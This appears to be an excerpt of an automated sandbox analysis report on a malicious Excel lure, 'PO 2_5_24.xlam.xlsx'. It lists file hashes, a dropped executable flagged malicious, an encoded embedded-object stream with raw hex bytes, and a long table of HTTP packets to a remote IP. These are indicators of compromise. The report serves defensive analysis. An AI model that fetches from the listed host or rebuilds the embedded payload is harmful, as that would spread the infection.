C:\Users\user\AppData\Roaming\CKK.exe

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1219072
Entropy (8bit):	7.1031978751916185
Encrypted:	false
SSDEEP:	24576:jqDEvCTbMWu7rQYlBQcBiT6rprG8aSI5LUWZ0o7F9CR:jTvC/MTQYxsWR7aSIdvTnC
MD5:	6DBF70053A37B13C106C623E0934DDFF
SHA1:	1362F71BAC0D64092F13F5F9B84E235D6A369055
SHA-256:	5D4011E1B0A3CDC0052863536E959285012767BE9A39FFB95FAF811836536922
SHA-512:	3A4EC594D47FCC5551010D5E20FC5B317CC98C9C0DBD46F94B6F96002445C4E63DB649B4579E72C07A9DC24192FD07B7F84B0D1970C7729CEB7FFDB04D51F2CF
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39% Antivirus: Virustotal, Detection: 40%, Browse
Reputation:	low
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...}a3f..........".................w.............@..................................N....@...@.......@.....................d...\|....@.......................p...u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc........@...0..................@..@.reloc...u...p...v...$..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\~$PO 2_5_24.xlam.xls

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	false
Reputation:	high, very likely benign file
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\Desktop\~$PO 2_5_24.xlam.xlsx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	false
Reputation:	high, very likely benign file
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General

File type:	Microsoft Excel 2007+
Entropy (8bit):	7.997957049004658
TrID:	Excel Microsoft Office Open XML Format document (40004/1) 83.33% ZIP compressed archive (8000/1) 16.67%
File name:	PO 2_5_24.xlam.xlsx
File size:	735'951 bytes
MD5:	989feda4871b86bfbcec9debb0b2ec45
SHA1:	05ef3f9b7d77b9709423222a81d670cbcae013cd
SHA256:	26fcc106f92623f06b5eb2e87b2e2e58a2ad9eea51de7d15a15b85dafe44b937
SHA512:	ba62b7d1cc358aa8e3525bbb0988274823feef6f485cc9ec2d5d43734c35f0f1d9c978bed490ea6b4cfc25e86a4df5788be8b3bbb3677064be3895d3becd4c44
SSDEEP:	12288:r8nWilHGpyCdswU+rUUfvPn9mw1Z68YnQgtJPskWBMpINmNGWBn:Y/0RuFLUfvPn9tk8E7xWuWLWBn
TLSH:	9CF43323D1B217AAC2EFC0559C403CC919F1BD1C9377708EBE35D85725E6AE4A658F82
File Content Preview:	PK...........X.lc.............[Content_Types].xmlUT.....3f..3f..3f.U.n.0....?..........C..E.&...X.k.6_ .......(...!_......b5...]l0D.l....+..'.mk...g...1.......0......O;.. ..5.R.?8..C..r.-E...H..Z.A..E.u6.....m*S.`..;\..N...>..4...v..R5.....(.7V..).r..J'..

File Icon


Icon Hash:	2562ab89a7b7bfbf

Static OLE Info

General

Document Type:	OpenXML
Number of OLE Files:	1

OLE File "PO 2_5_24.xlam.xlsx"

Indicators

Has Summary Info:
Application Name:
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	False

Summary

Author:	SHINY
Last Saved By:	X10LUXURY
Create Time:	2010-06-04T08:55:28Z
Last Saved Time:	2023-07-30T22:56:25Z
Creating Application:	Microsoft Excel
Security:	0

Document Summary

Thumbnail Scaling Desired:	false
Company:	Grizli777
Contains Dirty Links:	false
Shared Document:	false
Changed Hyperlinks:	false
Application Version:	15.0300

Streams

Stream Path: \x1ole10nATIVe, File Type: data, Stream Size: 1031663

General
Stream Path:	\x1ole10nATIVe
CLSID:
File Type:	data
Stream Size:	1031663
Entropy:	5.887888766747677
Base64 Encoded:	True
Data ASCII:	A . . W $ 2 . . . . . G M ) O . ? U . B . . I o ! . . . E . . f S . E . . . . . . . = G . . . / . . . . v U . . . . . . . . . . 2 " ] > . y . ( 1 ] . : i ' I . J 6 ) . . . C . A + 7 . . . . \| . $ . . X v . , k . _ _ . . . } T S 9 . x e . . . . y 1 J . ; . X . o Z b X [ . L . . } . \| + ] 3 . 7 ? ~ 1 a 8 y u u . . [ . @ ) u ' . Z n . f & K 9 . . . X A ^ . b 5 z / P Q + . % W N \| . c . d + ~ 2 D . L c . w . ` . ] ; ^ . . ) . / z . g C N . i 8 . c ) . W i . z . . Z . 4 . ) ' . l K . . ( . k 9 . c . i . d
Data Raw:	8d bb 41 03 02 57 24 32 c8 d8 01 08 df b2 bd 7f fd f5 9d 81 e5 7f bf 47 20 8b 4d bd 8b 29 bf 4f 98 b9 ff f7 d7 8b 3f 55 ff d7 83 c0 42 ff e0 b3 8c f2 18 49 f3 d6 6f 21 0b c2 bf 14 45 00 0e ff 80 fd 66 53 1c a5 eb 45 8d 85 15 04 00 00 e9 a6 00 00 00 eb f3 eb 3d eb 47 e9 b1 00 00 00 eb 2f eb 18 e9 9e 00 00 00 e9 80 eb 76 eb 55 e9 91 00 00 00 eb 06 eb 04 eb 09 eb ce eb d7 e9 a4 00 00

Stream Path: HYgP2BL0oQEr, File Type: empty, Stream Size: 0

General
Stream Path:	HYgP2BL0oQEr
CLSID:
File Type:	empty
Stream Size:	0
Entropy:	0.0
Base64 Encoded:	False
Data ASCII:
Data Raw:

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 2, 2024 17:39:45.660633087 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:45.770174980 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:45.770526886 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:45.771538019 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:45.883047104 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:45.883065939 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:45.883079052 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:45.883085966 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:45.883198977 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:45.992738008 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:45.992767096 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:45.992786884 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:45.992806911 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:45.992814064 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:45.992830038 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:45.992846012 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:45.992855072 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:45.992876053 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:45.992894888 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:45.992897034 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:45.992938042 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.105245113 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.105268955 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.105283022 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.105295897 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.105309010 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.105320930 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.105334044 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.105345964 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.105355024 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.105359077 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.105379105 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.105381012 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.105391979 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.105391979 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.105407953 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.105422974 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.105431080 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.105437994 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.105451107 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.105459929 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.105463028 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.105493069 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.108309031 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.215398073 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.215434074 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.215460062 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.215477943 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.215527058 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.215539932 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.215569973 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.215599060 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.215612888 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.215641975 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.215662956 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.215701103 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.215745926 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.215775967 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.215837002 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.215879917 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.215903997 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.215917110 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.215946913 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.215971947 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.216044903 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.216058016 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.216084957 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.216089010 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.216146946 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.216180086 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.216191053 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.216214895 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.216258049 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.216259003 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.216285944 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.216321945 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.216325998 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.216363907 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.216403008 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.216408014 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.216428995 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.216470957 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.216471910 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.216515064 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.216527939 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.216557980 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.216578007 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.216620922 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.216622114 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.217696905 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.325017929 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.325032949 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.325077057 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.325083017 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.325112104 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.325155020 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.325180054 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.325237989 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.325284958 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.325284958 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.325300932 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.325344086 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.325360060 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.325406075 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.325417995 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.325443983 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.325469017 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.325514078 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.325537920 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.325615883 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.325664043 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.325671911 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.325731993 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.325773001 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.325788975 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.325886965 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.325930119 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.325939894 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.325983047 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.326013088 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.326024055 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.326064110 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.326096058 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.326107979 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.326170921 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.326214075 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.326225996 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.326293945 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.326334000 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.326369047 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.326447964 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.326491117 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.326502085 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.326580048 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.326621056 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.326643944 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.326746941 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.326792955 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.327078104 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.327147007 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.327189922 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.327213049 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.327279091 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.327287912 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.327361107 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.327399015 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.327425957 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.327490091 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.327528000 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.327563047 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.327630043 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.327667952 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.327702999 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.327770948 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.327810049 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.327831030 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.327892065 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.327930927 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.327964067 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.328031063 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.328069925 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.328093052 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.328186035 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.328223944 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.328233004 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.332508087 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.434537888 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.434555054 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.434565067 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.434582949 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.434623003 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.434638977 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.434676886 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.434720993 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.434734106 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.434783936 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.434828997 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.434904099 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.435005903 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.435050011 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.435101986 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.435205936 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.435250044 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.435269117 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.436857939 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.436922073 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.436943054 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.436955929 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.436966896 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.436978102 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.436994076 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.436995029 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.437020063 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.437057972 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.437092066 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.437097073 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.437247038 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.437289000 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.437292099 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.437305927 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.437328100 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.437350988 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.437359095 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.437402964 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.437413931 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.437427044 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.437438011 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.437470913 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.437498093 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.437510967 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.437524080 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.437535048 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.437552929 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.437568903 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.437585115 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.437652111 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.437694073 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.438009977 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.441952944 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.442042112 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.442054987 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.442089081 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.442100048 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.442116022 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.442133904 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.442187071 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.442260981 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.442271948 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.442285061 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.442296982 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.442307949 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.442332029 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.442342043 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.442359924 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.442404985 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.442462921 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.442543030 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.442579031 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.442615032 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.443574905 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.544262886 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.544301033 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.544342995 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.544394970 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.544445038 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.544492960 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.544517994 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.544639111 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.544682980 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.544743061 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.544806004 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.544848919 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.544934034 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.545043945 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.545084953 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.545089006 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.545144081 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.545196056 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.545229912 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.545278072 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.545324087 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.545362949 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.545478106 CEST	80	49161	23.94.54.101	192.168.2.22
May 2, 2024 17:39:46.545525074 CEST	49161	80	192.168.2.22	23.94.54.101
May 2, 2024 17:39:46.545550108 CEST	80	49161	23.94.54.101	192.168.2.22
